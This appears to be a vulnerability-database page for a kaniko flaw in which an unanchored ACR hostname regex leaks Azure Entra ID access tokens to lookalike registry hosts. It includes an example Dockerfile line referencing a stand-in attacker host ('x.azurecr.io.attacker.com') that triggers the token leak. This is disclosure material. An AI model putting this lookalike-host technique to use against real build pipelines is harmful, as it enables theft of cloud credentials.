Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2026-105769— kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Quick assessment

Affected
chainguard kaniko
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

在 1.25.20 版本之前,Kaniko 可能会将用于 Azure 资源管理器的 Microsoft Entra ID(原 Azure AD)访问令牌发送至由攻击者控制的镜像仓库主机。Kaniko 使用了 Azure 容器注册表(ACR)凭据助手 ,该助手通过未锚定的正则表达式来判断某个主机是否为 ACR 仓库,因此任何包含 、 、 或 的主机名均会被接受。 对于 Docker 配置中未配置凭据、且非 Google 或 Amazon ECR 仓库的任意镜像仓库,Kaniko 会在实际联系该仓库之前,先咨询此凭据助

CVSS 9.3 · Critical

Affected Version Matrix 1

VendorProduct Version RangeStatus
chainguard kaniko < 1.25.20 affected
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2026-105769

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Source: CVE Program / CVE List V5
Vulnerability Description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Source: CVE Program / CVE List V5
Vulnerability Type
源验证错误
Source: CVE Program / CVE List V5

Affected Products

Vendor Product Affected Versions CPE Subscribe
chainguard kaniko 0 ~ 1.25.20 -

II. Public POCs for CVE-2026-105769

# POC Description Source Link Shenlong Link
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2026-105769

请登录查看更多情报信息。

Other References for CVE-2026-105769 (5)

IV. Related Vulnerabilities